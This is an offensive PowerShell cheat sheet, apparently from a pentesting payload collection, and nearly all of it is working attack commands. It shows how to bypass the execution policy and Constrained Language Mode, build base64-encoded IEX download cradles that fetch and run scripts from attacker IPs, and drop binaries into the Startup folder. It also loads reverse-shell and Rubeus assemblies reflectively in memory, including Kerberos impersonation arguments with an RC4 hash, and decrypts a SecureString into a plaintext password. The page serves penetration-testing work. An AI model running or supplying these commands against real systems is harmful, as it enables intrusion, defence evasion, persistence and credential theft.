Powershell

Summary

Execution Policy

```
powershell -EncodedCommand $encodedCommand
powershell -ep bypass ./PowerView.ps1

# Change execution policy
Set-Executionpolicy -Scope CurrentUser -ExecutionPolicy UnRestricted
Set-ExecutionPolicy Bypass -Scope Process
```

Constrained Mode

```
# Check if we are in a constrained mode
# Values could be: FullLanguage or ConstrainedLanguage
$ExecutionContext.SessionState.LanguageMode

## Bypass
powershell -version 2
```

Encoded Commands

- Windows

```
$command = 'IEX (New-Object
Net.WebClient).DownloadString("http://10.10.10.10/PowerView.ps1")'
$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
$encodedCommand = [Convert]::ToBase64String($bytes)
```

- Linux: :warning: UTF-16LE encoding is required

```
echo 'IEX (New-Object
Net.WebClient).DownloadString("http://10.10.10.10/PowerView.ps1")' | iconv -t
utf-16le | base64 -w 0
```

Download file

```
# Any version
(New-Object System.Net.WebClient).DownloadFile("http://10.10.10.10/PowerView.ps1",
"C:\Windows\Temp\PowerView.ps1")
wget "http://10.10.10.10/taskkill.exe" -OutFile
"C:\ProgramData\unifivideo\taskkill.exe"
Import-Module BitsTransfer; Start-BitsTransfer -Source $url -Destination $output

# Powershell 4+
IWR "http://10.10.10.10/binary.exe" -OutFile "C:\ProgramData\Microsoft\Windows\Start
Menu\Programs\StartUp\binary.exe"
Invoke-WebRequest "http://10.10.10.10/binary.exe" -OutFile
"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\binary.exe"
```

Load Powershell scripts

```
# Proxy-aware
IEX (New-Object Net.WebClient).DownloadString('http://10.10.10.10/PowerView.ps1')
echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.10.10/PowerView.ps1')
| powershell -noprofile -
powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=
[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://10.10.10.10/PowerView.ps
1')|iex"

# Non-proxy aware
$h=new-object -com
WinHttp.WinHttpRequest.5.1;$h.open('GET','http://10.10.10.10/PowerView.ps1',$false);$
h.send();iex $h.responseText
```

Load C# assembly reflectively

```
# Download and run assembly without arguments
$data = (New-Object System.Net.WebClient).DownloadData('http://10.10.16.7/rev.exe')
$assem = [System.Reflection.Assembly]::Load($data)
[rev.Program]::Main()

# Download and run Rubeus, with arguments (make sure to split the args)
$data = (New-Object
System.Net.WebClient).DownloadData('http://10.10.16.7/Rubeus.exe')
$assem = [System.Reflection.Assembly]::Load($data)
[Rubeus.Program]::Main("s4u /user:web01$ /rc4:1d77f43d9604e79e5626c6905705801e
/impersonateuser:administrator /msdsspn:cifs/file01 /ptt".Split())

# Execute a specific method from an assembly (e.g. a DLL)
$data = (New-Object System.Net.WebClient).DownloadData('http://10.10.16.7/lib.dll')
$assem = [System.Reflection.Assembly]::Load($data)
$class = $assem.GetType("ClassLibrary1.Class1")
$method = $class.GetMethod("runner")
$method.Invoke(0, $null)
```

Secure String to Plaintext

```
$pass =
"01000000d08c9ddf0115d1118c7a00c04fc297eb01000000e4a07bc7aaeade47925c42c8be5870730000
0000020000000000003660000c0000000100000000d792a6f34a55235c22da98b0c041ce7b0000000004800
000a0000000100000000065d20f0b4ba5367e53498f0209a3319420000000d4769a161c2794e19fcefff3e9
c763bb3a8790deebf51fc51062843b5d52e40214000000ac62dab09371dc4dbfd763fea92b9d544474869
2" | convertto-securestring
$user = "HTB\Tom"
$cred = New-Object System.management.Automation.PSCredential($user, $pass)
$cred.GetNetworkCredential() | fl
UserName       : Tom
Password       : 1ts-mag1c!!!
SecurePassword : System.Security.SecureString
Domain         : HTB
```

References

- Windows & Active Directory Exploitation Cheat Sheet and Command Reference - @chvancooten
- Basic PowerShell for Pentesters - HackTricks